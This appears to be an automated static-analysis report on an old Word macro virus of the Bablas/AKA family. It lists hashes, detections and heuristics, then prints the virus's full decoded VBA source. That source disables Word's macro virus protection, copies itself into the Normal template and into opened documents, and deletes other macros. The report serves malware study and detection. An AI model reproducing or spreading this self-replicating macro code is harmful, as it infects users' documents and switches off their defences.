Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6ebef68c94998c39…

MALICIOUS

Office (OLE)

42.0 KB Created: 1997-09-17 11:18:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: e7e1ece5459431fb9aa708bb36520566 SHA-1: ebf6cf2085b6d9a0c129ab2ba7cb017a17997107 SHA-256: 6ebef68c94998c398a5e07433a14f96bfc57b66117f466c7e5e338bf8bc28bca
248 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The file contains legacy WordBasic macro markers and a VBA AutoOpen macro, indicating a macro-based threat. The 'ToolsMacro' subroutine attempts to display a message box and disable macro security, suggesting an effort to manipulate user interaction or bypass defenses. The presence of ClamAV detections 'Legacy.Trojan.Agent-34741' and 'Doc.Trojan.Bablas-15' further confirms its malicious nature, though the specific family remains undetermined.

Heuristics 5

  • ClamAV: Legacy.Trojan.Agent-34741 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Legacy.Trojan.Agent-34741
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
        Options.VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5186 bytes
SHA-256: a30745b5d5560c9c505e36c0df62495a6ddd7d8ca066dbaa5ad42b0abf687113
Detection
ClamAV: Doc.Trojan.Bablas-15
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "AKA"
Sub ShowMessage()
    H = Time
    If (WeekDay(Date) = vbFriday Or WeekDay(Date) = vbSunday) And Time < TimeValue("21:00:00") Then
    For i = 1 To 100
        Beep
    Next i
    H = MsgBox("Makasih Banget  buat  Temen-temen di CIVITRAVA" & Chr(13) & _
    "And  yang  Udah  Ikutan  Nyebarin  ini  AKA " & Chr(13) & _
    "Terutama  bagi  Mereka  yang  punya  Komputer." & Chr(13) & _
    Chr(13) & "**Buat MALA Salam Manis and Kenal**", vbOKOnly + vbExclamation, "Dari : AKA")
    End If
End Sub

Sub Bablas()
Attribute Bablas.VB_Description = "Macro created 10/02/99 by  Abdul Aziz"
Attribute Bablas.VB_ProcData.VB_Invoke_Func = "Normal.NewMacros.Cegat"
    Options.SaveNormalPrompt = False
    Options.VirusProtection = False
    Options.SavePropertiesPrompt = False
End Sub

Sub ToolsMacro()
    H = MsgBox("Sorry banget, kamu kagak bisa ngruba ini macro.", vbExclamation + vbOKOnly, "Dari : AKA")
End Sub

Sub ViewVbCode()
    ToolsMacro
End Sub

Sub FileTemplates()
    ToolsMacro
End Sub

Sub HelpAbout()
    H = MsgBox("Salam Manis and Kenal Buat MALA and DYNA" & Chr(13) & Chr(13) & _
       "         DO  YOU  FEEL  THE  SAME.........?", vbOKOnly + vbExclamation, "Dari : AKA")
End Sub

Sub ToolsOptions()
    Options.SaveNormalPrompt = False
    Options.SavePropertiesPrompt = False
    Options.VirusProtection = False
    Dialogs(wdDialogToolsOptions).Show
    Bablas
End Sub

Sub ChangeCap()
    On Error Resume Next
    Application.Caption = "AKA lagi aktif nih....!!! "
    'ActiveWindow.Caption = "(Mala Aku pingin kenal....)"
End Sub

Sub RestoreCap()
    On Error Resume Next
    Application.Caption = "Microsoft Word"
    'ActiveWindow.Caption = ActiveDocument.Name
End Sub

Sub OpenMyMacro()
    If InputBox("Enter password", "AKA") = "RISMAH" Then Application.ShowVisualBasicEditor = True
End Sub

Sub SikatDocument()
    Dim DocOk As Boolean
    DocOk = False
    For Each Obj In ActiveDocument.VBProject.VBComponents
        If Obj.Name = "AKA" Then DocOk = True
        If Obj.Name <> "AKA" And Obj.Name <> "ThisDocument" Then
            Application.StatusBar = "Deleting " + Obj.Name + _
            " Macro in " + ActiveDocument.Name + "..."
            Application.OrganizerDelete Source:=ActiveDocument.FullName, _
            Name:=Obj.Name, Object:=wdOrganizerObjectProjectItems
        End If
    Next Obj
    If DocOk = False Then
        Application.StatusBar = "Copying AKA Dari Normal Template to " _
        + ActiveDocument.Name + "..."
        Application.OrganizerCopy Source:=NormalTemplate.FullName, _
        Destination:=ActiveDocument, Name:="AKA", Object:=wdOrganizerObjectProjectItems
    End If
End Sub

Sub SikatTemplate()
    Dim NorOk As Boolean
    NorOk = False
    For Each Obj In NormalTemplate.VBProject.VBComponents
        If Obj.Name = "AKA" Then NorOk = True
        If Obj.Name <> "AKA" And Obj.Name <> "ThisDocument" Then
            Application.StatusBar = "Deleting " + Obj.Name + _
            " Macro in Normal Template..."
            Application.OrganizerDelete Source:=NormalTemplate.FullName, _
            Name:=Obj.Name, Object:=wdOrganizerObjectProjectItems
        End If
    Next Obj
    If NorOk = False Then
        Application.StatusBar = "Copying AKA Dari " + ActiveDocument.Name + _
        " to Normal Template..."
        Application.OrganizerCopy Source:=ActiveDocument.FullName, _
        Destination:=NormalTemplate.FullName, Name:="AKA", Object:=wdOrganizerObjectProjectItems
        Application.DisplayRecentFiles = False
        Application.DisplayRecentFiles = True
    End If
End Sub

Sub AutoExit()
    ShowMessage
    Application.Quit
End Sub

Sub FileOpen()
    HelpAbout
    ChangeCap
    WordBasic.DisableAutoMacros True
    On Error Resume Next
    If Dialogs(wdDialogFileOpen).Show <> 0 Then
        SikatDocument
        ActiveDocument.Save
        RestoreCap
    End If
    WordBasic.DisableAutoMacros False
End Sub

Sub AutoOpen()
    Bablas
    ChangeCap
    HelpAbout
    SikatTemplate
    On Error Resume Next
    RestoreCap
    NormalTemplate.Save
End Sub


Sub FileSave()
    If ActiveDocument.Saved = False Then
        SikatDocument
        SikatTemplate
        On Error Resume Next
        ActiveDocument.Save
        ActiveDocument.Saved = True
    End If
End Sub

Sub Ancurin()
    C = Documents.Count
    If C <> 0 Then
        If ActiveDocument.Name <> "Document1" Then
            Normal.AKA.SikatDocument
            WordBasic.DisableAutoMacros False
        End If
    Else: Application.OnTime Now + TimeValue("00:00:07"), "Normal.AKA.Ancurin"
    End If
End Sub

Sub AutoExec()
    On Error Resume Next
    WordBasic.DisableAutoMacros True
    Bablas
    Application.OnTime Now + TimeValue("00:00:07"), "Normal.AKA.Ancurin"
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.